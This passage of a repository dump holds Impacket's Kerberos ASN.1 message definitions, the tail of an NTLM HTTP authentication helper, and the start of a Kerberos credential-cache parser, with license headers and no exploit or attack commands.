ntlm.getNTLMSSPType1(domain=self.__domain)\n        serverChallenge = self.send_ntlm_type1(http_obj, method, path, headers, auth.getData())[0]\n\n        if serverChallenge is not None:\n            self.__auth_type = AUTH_NTLM\n\n            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, self.__username,\n                                                             self.__password, self.__domain,\n                                                             self.__lmhash, self.__nthash)\n\n            auth_line_http = 'NTLM %s' % base64.b64encode(type3.getData()).decode('ascii')\n        else:\n            if self.__auth_type == AUTH_AUTO and AUTH_BASIC in self.__auth_types:\n                self.__auth_type = AUTH_BASIC\n                return self.get_auth_headers_basic(http_obj, method, path, headers)\n            else:\n                raise Exception('No supported auth offered by URL: %s' % self.__auth_types)\n\n        # Format: auth_headers, reserved, ...\n        return {'Authorization': auth_line_http}, None\n"
  },
  {
    "path": "impacket/krb5/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\npass\n"
  },
  {
    "path": "impacket/krb5/asn1.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Changed some of the classes names to match the RFC 4120\n#   Added [MS-KILE] data\n#   Adapted to Enum\n#\n# Author:\n#   Altered source by Alberto Solino (@agsolino)\n#\n# Copyright and license note from asn1.py:\n#\n# Copyright (c) 2013, Marc Horowitz\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\nfrom pyasn1.type import tag, namedtype, univ, constraint, char, useful\n\nfrom . import constants\n\n\ndef _application_tag(tag_value):\n    return univ.Sequence.tagSet.tagExplicitly(\n        tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed,\n                int(tag_value)))\n\ndef _vno_component(tag_value, name=\"pvno\"):\n    return _sequence_component(\n        name, tag_value, univ.Integer(),\n        subtypeSpec=constraint.ValueRangeConstraint(5, 5))\n\ndef _msg_type_component(tag_value, values):\n    c = constraint.ConstraintsUnion(\n        *(constraint.SingleValueConstraint(int(v)) for v in values))\n    return _sequence_component('msg-type', tag_value, univ.Integer(),\n                               subtypeSpec=c)\n\ndef _sequence_component(name, tag_value, type, **subkwargs):\n    return namedtype.NamedType(name, type.subtype(\n        explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple,\n                            tag_value),\n        **subkwargs))\n\ndef _sequence_optional_component(name, tag_value, type, **subkwargs):\n    return namedtype.OptionalNamedType(name, type.subtype(\n        explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple,\n                            tag_value),\n        **subkwargs))\n\ndef seq_set(seq, name, builder=None, *args, **kwargs):\n    component = seq.setComponentByName(name).getComponentByName(name)\n    if builder is not None:\n        seq.setComponentByName(name, builder(component, *args, **kwargs))\n    else:\n        seq.setComponentByName(name)\n    return seq.getComponentByName(name)\n\ndef seq_set_dict(seq, name, pairs, *args, **kwargs):\n    component = seq.setComponentByName(name).getComponentByName(name)\n    for k, v in pairs.items():\n        component.setComponentByName(k, v)\n\ndef seq_set_iter(seq, name, iterable):\n    component = seq.setComponentByName(name).getComponentByName(name)\n    for pos, v in enumerate(iterable):\n        component.setComponentByPosition(pos, v)\n\ndef seq_set_flags(seq, name, flags):\n    seq_set(seq, name, flags.to_asn1)\n\ndef seq_append(seq, name, pairs):\n    component = seq.getComponentByName(name)\n    if component is None:\n        component = seq.setComponentByName(name).getComponentByName(name)\n    index = len(component)\n    element = component.setComponentByPosition(index\n                                               ).getComponentByPosition(index)\n    for k, v in pairs.items():\n        element.setComponentByName(k, v)\n\nclass Int32(univ.Integer):\n    subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(\n        -2147483648, 2147483647)\n\nclass UInt32(univ.Integer):\n    pass\n#    subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(\n#        0, 4294967295)\n\nclass Microseconds(univ.Integer):\n    subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(\n        0, 999999)\n\nclass KerberosString(char.GeneralString):\n    # TODO marc: I'm not sure how to express this constraint in the API.\n    # For now, we will be liberal in what we accept.\n    # subtypeSpec = constraint.PermittedAlphabetConstraint(char.IA5String())\n    encoding = 'utf-8'\n\nclass Realm(KerberosString):\n    pass\n\nclass PrincipalName(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component(\"name-type\", 0, Int32()),\n        _sequence_component(\"name-string\", 1,\n                            univ.SequenceOf(componentType=KerberosString()))\n                            )\n\nclass KerberosTime(useful.GeneralizedTime):\n    pass\n\nclass HostAddress(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component(\"addr-type\", 0, Int32()),\n        _sequence_component(\"address\", 1, univ.OctetString())\n        )\n\nclass HostAddresses(univ.SequenceOf):\n    componentType = HostAddress()\n\nclass AuthorizationData(univ.SequenceOf):\n    componentType = univ.Sequence(componentType=namedtype.NamedTypes(\n        _sequence_component('ad-type', 0, Int32()),\n        _sequence_component('ad-data', 1, univ.OctetString())\n        ))\n\nclass PA_DATA(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('padata-type', 1, Int32()),\n        _sequence_component('padata-value', 2, univ.OctetString())\n        )\n\nclass KerberosFlags(univ.BitString):\n    # TODO marc: it doesn't look like there's any way to specify the\n    # SIZE (32.. MAX) parameter to the encoder.  However, we can\n    # arrange at a higher layer to pass in >= 32 bits to the encoder.\n    pass\n\nclass EncryptedData(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component(\"etype\", 0, Int32()),\n        _sequence_optional_component(\"kvno\", 1, UInt32()),\n        _sequence_component(\"cipher\", 2, univ.OctetString())\n        )\n\nclass EncryptionKey(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('keytype', 0, Int32()),\n        _sequence_component('keyvalue', 1, univ.OctetString()))\n\nclass Checksum(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('cksumtype', 0, Int32()),\n        _sequence_component('checksum', 1, univ.OctetString()))\n\nclass Ticket(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.Ticket.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(name=\"tkt-vno\", tag_value=0),\n        _sequence_component(\"realm\", 1, Realm()),\n        _sequence_component(\"sname\", 2, PrincipalName()),\n        _sequence_component(\"enc-part\", 3, EncryptedData())\n        )\n\nclass TicketFlags(KerberosFlags):\n    pass\n\nclass TransitedEncoding(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('tr-type', 0, Int32()),\n        _sequence_component('contents', 1, univ.OctetString()))\n\nclass EncTicketPart(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.EncTicketPart.value)\n    componentType = namedtype.NamedTypes(\n        _sequence_component(\"flags\", 0, TicketFlags()),\n        _sequence_component(\"key\", 1, EncryptionKey()),\n        _sequence_component(\"crealm\", 2, Realm()),\n        _sequence_component(\"cname\", 3, PrincipalName()),\n        _sequence_component(\"transited\", 4, TransitedEncoding()),\n        _sequence_component(\"authtime\", 5, KerberosTime()),\n        _sequence_optional_component(\"starttime\", 6, KerberosTime()),\n        _sequence_component(\"endtime\", 7, KerberosTime()),\n        _sequence_optional_component(\"renew-till\", 8, KerberosTime()),\n        _sequence_optional_component(\"caddr\", 9, HostAddresses()),\n        _sequence_optional_component(\"authorization-data\", 10, AuthorizationData())\n        )\n\nclass KDCOptions(KerberosFlags):\n    pass\n\nclass KDC_REQ_BODY(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('kdc-options', 0, KDCOptions()),\n        _sequence_optional_component('cname', 1, PrincipalName()),\n        _sequence_component('realm', 2, Realm()),\n        _sequence_optional_component('sname', 3, PrincipalName()),\n        _sequence_optional_component('from', 4, KerberosTime()),\n        _sequence_component('till', 5, KerberosTime()),\n        _sequence_optional_component('rtime', 6, KerberosTime()),\n        _sequence_component('nonce', 7, UInt32()),\n        _sequence_component('etype', 8,\n                            univ.SequenceOf(componentType=Int32())),\n        _sequence_optional_component('addresses', 9, HostAddresses()),\n        _sequence_optional_component('enc-authorization-data', 10,\n                                     EncryptedData()),\n        _sequence_optional_component('additional-tickets', 11,\n                                     univ.SequenceOf(componentType=Ticket()))\n        )\n\nclass KDC_REQ(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _vno_component(1),\n        _msg_type_component(2, (constants.ApplicationTagNumbers.AS_REQ.value,\n                                constants.ApplicationTagNumbers.TGS_REQ.value)),\n        _sequence_optional_component('padata', 3,\n                                     univ.SequenceOf(componentType=PA_DATA())),\n        _sequence_component('req-body', 4, KDC_REQ_BODY())\n        )\n\nclass AS_REQ(KDC_REQ):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REQ.value)\n\nclass TGS_REQ(KDC_REQ):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REQ.value)\n\nclass KDC_REP(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _vno_component(0),\n        _msg_type_component(1, (constants.ApplicationTagNumbers.AS_REP.value,\n                                constants.ApplicationTagNumbers.TGS_REP.value)),\n        _sequence_optional_component('padata', 2,\n                                     univ.SequenceOf(componentType=PA_DATA())),\n        _sequence_component('crealm', 3, Realm()),\n        _sequence_component('cname', 4, PrincipalName()),\n        _sequence_component('ticket', 5, Ticket()),\n        _sequence_component('enc-part', 6, EncryptedData())\n        )\n\nclass LastReq(univ.SequenceOf):\n    componentType = univ.Sequence(componentType=namedtype.NamedTypes(\n        _sequence_component('lr-type', 0, Int32()),\n        _sequence_component('lr-value', 1, KerberosTime())\n        ))\n\nclass METHOD_DATA(univ.SequenceOf):\n    componentType = PA_DATA()\n\nclass EncKDCRepPart(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('key', 0, EncryptionKey()),\n        _sequence_component('last-req', 1, LastReq()),\n        _sequence_component('nonce', 2, UInt32()),\n        _sequence_optional_component('key-expiration', 3, KerberosTime()),\n        _sequence_component('flags', 4, TicketFlags()),\n        _sequence_component('authtime', 5, KerberosTime()),\n        _sequence_optional_component('starttime', 6, KerberosTime()),\n        _sequence_component('endtime', 7, KerberosTime()),\n        _sequence_optional_component('renew-till', 8, KerberosTime()),\n        _sequence_component('srealm', 9, Realm()),\n        _sequence_component('sname', 10, PrincipalName()),\n        _sequence_optional_component('caddr', 11, HostAddresses()),\n        _sequence_optional_component('encrypted_pa_data', 12, METHOD_DATA())\n        )\n\nclass EncASRepPart(EncKDCRepPart):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.EncASRepPart.value)\n\nclass EncTGSRepPart(EncKDCRepPart):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.EncTGSRepPart.value)\n\nclass AS_REP(KDC_REP):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REP.value)\n\nclass TGS_REP(KDC_REP):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REP.value)\n\nclass APOptions(KerberosFlags):\n    pass\n\nclass Authenticator(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.Authenticator.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(name='authenticator-vno', tag_value=0),\n        _sequence_component('crealm', 1, Realm()),\n        _sequence_component('cname', 2, PrincipalName()),\n        _sequence_optional_component('cksum', 3, Checksum()),\n        _sequence_component('cusec', 4, Microseconds()),\n        _sequence_component('ctime', 5, KerberosTime()),\n        _sequence_optional_component('subkey', 6, EncryptionKey()),\n        _sequence_optional_component('seq-number', 7, UInt32()),\n        _sequence_optional_component('authorization-data', 8,\n                                     AuthorizationData())\n        )\n\nclass AP_REQ(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REQ.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(0),\n        _msg_type_component(1, (constants.ApplicationTagNumbers.AP_REQ.value,)),\n        _sequence_component('ap-options', 2, APOptions()),\n        _sequence_component('ticket', 3, Ticket()),\n        _sequence_component('authenticator', 4, EncryptedData())\n        )\n\nclass GSSAPIHeader_KRB5_AP_REQ(univ.Sequence):\n    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),\n        # Actualy this is a constant 0x0001, but this decodes as an asn1 boolean\n        namedtype.NamedType('krb5_ap_req', univ.Boolean()),\n        namedtype.NamedType('apReq', AP_REQ()),\n    )\n\nclass AP_REP(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REP.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(0),\n        _msg_type_component(1, (constants.ApplicationTagNumbers.AP_REP.value,)),\n        _sequence_component('enc-part', 2, EncryptedData()),\n        )\n\nclass EncAPRepPart(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.EncApRepPart.value)\n    componentType = namedtype.NamedTypes(\n        _sequence_component('ctime', 0, KerberosTime()),\n        _sequence_component('cusec', 1, Microseconds()),\n        _sequence_optional_component('subkey', 2, EncryptionKey()),\n        _sequence_optional_component('seq-number', 3, UInt32()),\n        )\n\nclass KRB_SAFE_BODY(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('user-data', 0, univ.OctetString()),\n        _sequence_optional_component('timestamp', 1, KerberosTime()),\n        _sequence_optional_component('usec', 2, Microseconds()),\n        _sequence_optional_component('seq-number', 3, UInt32()),\n        _sequence_component('s-address', 4, HostAddress()),\n        _sequence_optional_component('r-address', 5, HostAddress()),\n        )\n\nclass KRB_SAFE(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_SAFE.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(0),\n        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_SAFE.value,)),\n        _sequence_component('safe-body', 2, KRB_SAFE_BODY()),\n        _sequence_component('cksum', 3, Checksum()),\n        )\n\nclass KRB_PRIV(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_PRIV.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(0),\n        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_PRIV.value,)),\n        _sequence_component('enc-part', 3, EncryptedData()),\n        )\n\nclass EncKrbPrivPart(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbPrivPart.value)\n    componentType = namedtype.NamedTypes(\n        _sequence_component('user-data', 0, univ.OctetString()),\n        _sequence_optional_component('timestamp', 1, KerberosTime()),\n        _sequence_optional_component('cusec', 2, Microseconds()),\n        _sequence_optional_component('seq-number', 3, UInt32()),\n        _sequence_component('s-address', 4, HostAddress()),\n        _sequence_optional_component('r-address', 5, HostAddress()),\n        )\n\nclass KRB_CRED(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_CRED.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(0),\n        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_CRED.value,)),\n        _sequence_optional_component('tickets', 2,\n                                     univ.SequenceOf(componentType=Ticket())),\n        _sequence_component('enc-part', 3, EncryptedData()),\n        )\n\nclass KrbCredInfo(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('key', 0, EncryptionKey()),\n        _sequence_optional_component('prealm', 1, Realm()),\n        _sequence_optional_component('pname', 2, PrincipalName()),\n        _sequence_optional_component('flags', 3, TicketFlags()),\n        _sequence_optional_component('authtime', 4, KerberosTime()),\n        _sequence_optional_component('starttime', 5, KerberosTime()),\n        _sequence_optional_component('endtime', 6, KerberosTime()),\n        _sequence_optional_component('renew-till', 7, KerberosTime()),\n        _sequence_optional_component('srealm', 8, Realm()),\n        _sequence_optional_component('sname', 9, PrincipalName()),\n        _sequence_optional_component('caddr', 10, HostAddresses()),\n        )\n\nclass EncKrbCredPart(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbCredPart.value)\n    componentType = namedtype.NamedTypes(\n        _sequence_component('ticket-info', 0, univ.SequenceOf(componentType=KrbCredInfo())),\n        _sequence_optional_component('nonce', 1, UInt32()),\n        _sequence_optional_component('timestamp', 2, KerberosTime()),\n        _sequence_optional_component('usec', 3, Microseconds()),\n        _sequence_optional_component('s-address', 4, HostAddress()),\n        _sequence_optional_component('r-address', 5, HostAddress()),\n        )\n\nclass KRB_ERROR(univ.Sequence):\n    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_ERROR.value)\n    componentType = namedtype.NamedTypes(\n        _vno_component(0),\n        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_ERROR.value,)),\n        _sequence_optional_component('ctime', 2, KerberosTime()),\n        _sequence_optional_component('cusec', 3, Microseconds()),\n        _sequence_component('stime', 4, KerberosTime()),\n        _sequence_component('susec', 5, Microseconds()),\n        _sequence_component('error-code', 6, Int32()),\n        _sequence_optional_component('crealm', 7, Realm()),\n        _sequence_optional_component('cname', 8, PrincipalName()),\n        _sequence_component('realm', 9, Realm()),\n        _sequence_component('sname', 10, PrincipalName()),\n        _sequence_optional_component('e-text', 11, KerberosString()),\n        _sequence_optional_component('e-data', 12, univ.OctetString())\n        )\n\nclass TYPED_DATA(univ.SequenceOf):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('data-type', 0, Int32()),\n        _sequence_optional_component('data-value', 1, univ.OctetString()),\n    )\n\nclass PA_ENC_TIMESTAMP(EncryptedData):\n    pass\n\nclass PA_ENC_TS_ENC(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('patimestamp', 0, KerberosTime()),\n        _sequence_optional_component('pausec', 1, Microseconds()))\n\nclass ETYPE_INFO_ENTRY(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('etype', 0, Int32()),\n        _sequence_optional_component('salt', 1, univ.OctetString()))\n\nclass ETYPE_INFO(univ.SequenceOf):\n    componentType = ETYPE_INFO_ENTRY()\n\nclass ETYPE_INFO2_ENTRY(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('etype', 0, Int32()),\n        _sequence_optional_component('salt', 1, KerberosString()),\n        _sequence_optional_component('s2kparams', 2, univ.OctetString()))\n\nclass ETYPE_INFO2(univ.SequenceOf):\n    componentType = ETYPE_INFO2_ENTRY()\n\nclass AD_IF_RELEVANT(AuthorizationData):\n    pass\n\nclass AD_KDCIssued(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('ad-checksum', 0, Checksum()),\n        _sequence_optional_component('i-realm', 1, Realm()),\n        _sequence_optional_component('i-sname', 2, PrincipalName()),\n        _sequence_component('elements', 3, AuthorizationData()))\n\nclass AD_AND_OR(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('condition-count', 0, Int32()),\n        _sequence_optional_component('elements', 1, AuthorizationData()))\n\nclass AD_MANDATORY_FOR_KDC(AuthorizationData):\n    pass\n\nclass KERB_PA_PAC_REQUEST(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n    namedtype.NamedType('include-pac', univ.Boolean().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))),\n    )\n\nclass PA_FOR_USER_ENC(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('userName', 0, PrincipalName()),\n        _sequence_optional_component('userRealm', 1, Realm()),\n        _sequence_optional_component('cksum', 2, Checksum()),\n        _sequence_optional_component('auth-package', 3, KerberosString()))\n\nclass KERB_ERROR_DATA(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('data-type', 1, Int32()),\n        _sequence_component('data-value', 2, univ.OctetString()))\n\nclass PA_PAC_OPTIONS(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('flags', 0, KerberosFlags()),\n    )\n\nclass KERB_KEY_LIST_REQ(univ.SequenceOf):\n    componentType = Int32()\n\nclass KERB_KEY_LIST_REP(univ.SequenceOf):\n    componentType = EncryptionKey()\n\nclass KERB_SUPERSEDED_BY_USER(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('name', 0, PrincipalName()),\n        _sequence_optional_component('userRealm', 1, Realm()),\n    )\n\nclass S4UUserID(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component('nonce', 0,  UInt32()),\n        _sequence_component('cname', 1, PrincipalName()),\n        _sequence_optional_component('crealm', 2, Realm()),\n        _sequence_optional_component('subject-certificate', 3, univ.OctetString()),\n        _sequence_optional_component('options', 4, KerberosFlags())\n    )\n\nclass PA_S4U_X509_USER(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('user-id', S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))),\n        namedtype.NamedType('checksum', Checksum().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1))))\n    \nclass KERB_DMSA_KEY_PACKAGE(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component(\"current-keys\", 0, univ.SequenceOf(componentType=EncryptionKey())),\n        _sequence_optional_component(\"previous-keys\", 1, univ.SequenceOf(componentType=EncryptionKey())),\n        _sequence_component(\"effective-time\", 2, KerberosTime()),\n        _sequence_optional_component(\"reserved\", 3, univ.OctetString()),\n        _sequence_component(\"expiration-time\", 4, KerberosTime())\n        )"
  },
  {
    "path": "impacket/krb5/ccache.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Kerberos Credential Cache format implementation\n#   based on file format described at:\n#   https://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/ccache.txt\n#   Pretty lame and quick implementation, not a fun thing to do\n#   Contribution is welcome to make it the right way\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom datetime import datetime, timezone\nimport os\nfrom struct import pack, unpack, calcsize\nfrom six import b, PY2\n\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.type.univ import noValue\nfrom binascii import hexlify\n\nfrom impacket.structure import Structure\nfrom impacket.krb5 import crypto, constants, types\nfrom impacket.krb5.asn1 import AS_REP, seq_set, TGS_REP, EncTGSRepPart, EncASRepPart, Ticket, KRB_CRED, \\\n    EncKrbCredPart, KrbCredInfo, seq_set_iter\nfrom impacket.krb5.types import KerberosTime\nfrom impacket import LOG\n\ntry:\n    FileNotFoundError\nexcept NameError:\n    FileNotFoundError = IOError\n\nDELTA_TIME = 1\n\nclass Header(Structure):\n    structure = (\n        ('tag','!H=0'),\n        ('taglen','!H=0'),\n        ('_tagdata','_-tagdata','self[\"taglen\"]'),\n        ('tagdata',':'),\n    )\n\nclass DeltaTime(Structure):\n    structure = (\n        ('time_offset','!L=0'),\n        ('usec_offset','!L=0'),\n    )\n\nclass CountedOctetString(Structure):\n    structure = (\n        ('length','!L=0'),\n        ('_data','_-data','self[\"length\"]'),\n        ('data',':'),\n    )\n\n    def prettyPrint(self, indent=''):\n        return \"%s%s\" % (indent, hexlify(self['data']))\n\n\nclass KeyBlockV3(Structure):\n    structure = (\n        ('keytype','!H=0'),\n        ('etype','!H=0'),\n        ('etype2', '!H=0'),  # Version 3 repeats the etype\n        ('keylen','!H=0'),\n        ('_keyvalue','_-keyvalue','self[\"keylen\"]'),\n        ('keyvalue',':'),\n    )\n\n    def prettyPrint(self):\n        return \"Key: (0x%x)%s\" % (self['keytype'], hexlify(self['keyvalue']))\n\n\nclass KeyBlockV4(Structure):\n    structure = (\n        ('keytype','!H=0'),\n        ('etype','!H=0'),\n        ('keylen','!H=0'),\n        ('_keyvalue','_-keyvalue','self[\"keylen\"]'),\n        ('keyvalue',':'),\n    )\n\n    def prettyPrint(self):\n        return \"Key: (0x%x)%s\" % (self['keytype'], hexlify(self['keyvalue']))\n\nclass Times(Structure):\n    structure = (\n        ('authtime','!L=0'),\n        ('starttime','!L=0'),\n        ('endtime','!L=0'),\n        ('renew_till','!L=0'),\n    )\n    def prettyPrint(self, indent = ''):\n        print((\"%sAuth : %s\" % (indent, datetime.fromtimestamp(self['authtime']).isoformat())))\n        print((\"%sStart: %s\" % (indent, datetime.fromtimestamp(self['starttime']).isoformat())))\n        print((\"%sEnd  : %s\" % (indent, datetime.fromtimestamp(self['endtime']).isoformat())))\n        print((\"%sRenew: %s\" % (indent, datetime.fromtimestamp(self['renew_till']).isoformat())))\n\nclass Address(Structure):\n    structure = (\n        ('addrtype','!H=0'),\n        ('addrdata',':', CountedOctetString),\n    )\n\nclass AuthData(Structure):\n    structure = (\n        ('authtype','!H=0'),\n        ('authdata',':', CountedOctetString),\n    )\n\nclass Principal:\n    class PrincipalHeader(Structure):\n        structure = (\n            ('name_type','!L=0'),\n            ('num_components','!L=0'),\n        )\n    def __init__(self, data=None):\n        self.components = []\n        self.realm = None\n        if data is not None:\n            self.header = self.PrincipalHeader(data)\n            data = data[len(self.header):]\n            self.realm = CountedOctetString(data)\n            data = data[len(self.realm):]\n            self.components = []\n            for component in range(self.header['num_components']):\n                comp = CountedOctetString(data)\n                data = data[len(comp):]\n                self.components.append(comp)\n        else:\n            self.header = self.PrincipalHeader()\n\n    def __len__(self):\n        totalLen = len(self.header) + len(self.realm)\n        for i in self.components:\n            totalLen += len(i)\n        return totalLen\n\n    def getData(self):\n        data = self.header.getData() + self.realm.getData()\n        for component in self.components:\n            data += component.getData()\n        return data\n\n    def __str__(self):\n        return self.getData()\n\n    def prettyPrint(self):\n        principal = b''\n        for component in self.components:\n            if isinstance(component['data'], bytes) is not True:\n                component = b(component['data'])\n            else:\n                component = component['data']\n            principal += component + b'/'\n\n        principal = principal[:-1]\n        if isinstance(self.realm['data'], bytes):\n            realm = self.realm['data']\n        else:\n            realm = b(self.realm['data'])\n        principal += b'@' + realm\n        return principal\n\n    def fromPrincipal(self, principal):\n        self.header['name_type'] = principal.type\n        self.header['num_components'] = len(principal.components)\n        octetString = CountedOctetString()\n        octetString['length'] = len(principal.realm)\n        octetString['data'] = principal.realm\n        self.realm = octetString\n        self.components = []\n        for c in principal.components:\n            octetString = CountedOctetString()\n            octetString['length'] = len(c)\n            octetString['data'] = c\n            self.components.append(octetString)\n\n    def toPrincipal(self):\n        return types.Principal(self.prettyPrint(), type=self.header['name_type'])\n\nclass Credential:\n    class CredentialHeaderV3(Structure):\n        structure = (\n            ('client',':', Principal),\n            ('server',':', Principal),\n            ('key',':', KeyBlockV3),\n            ('time',':', Times),\n            ('is_skey','B=0'),\n            ('tktflags','!L=0'),\n            ('num_address','!L=0'),\n        )\n\n    class CredentialHeaderV4(Structure):\n        structure = (\n            ('client',':', Principal),\n            ('server',':', Principal),\n            ('key',':', KeyBlockV4),\n            ('time',':', Times),\n            ('is_skey','B=0'),\n            ('tktflags','!L=0'),\n            ('num_address','!L=0'),\n        )\n\n    def __init__(self, data=None, ccache_version=None):\n        self.addresses = ()\n        self.authData = ()\n        self.header = None\n        self.ticket = None\n        self.secondTicket = None\n\n        if data is not None:\n            if ccache_version == 3:\n                self.header = self.CredentialHeaderV3(data)\n            else:\n                self.header = self.CredentialHeaderV4(data)\n\n            data = data[len(self.header):]\n            self.addresses = []\n            for address in range(self.header['num_address']):\n                ad = Address(data)\n                data = data[len(ad):]\n                self.addresses.append(ad)\n            num_authdata = unpack('!L', data[:4])[0]\n            data = data[calcsize('!L'):]\n            for authdata in range(num_authdata):\n                ad = AuthData(data)\n                data = data[len(ad):]\n                self.authData.append(ad)\n            self.ticket = CountedOctetString(data)\n            data = data[len(self.ticket):]\n            self.secondTicket = CountedOctetString(data)\n            data = data[len( self.secondTicket):]\n        else:\n            self.header = self.CredentialHeaderV4()\n\n    def __getitem__(self, key):\n        return self.header[key]\n\n    def __setitem__(self, item, value):\n        self.header[item] = value\n\n    def getServerPrincipal(self):\n        return 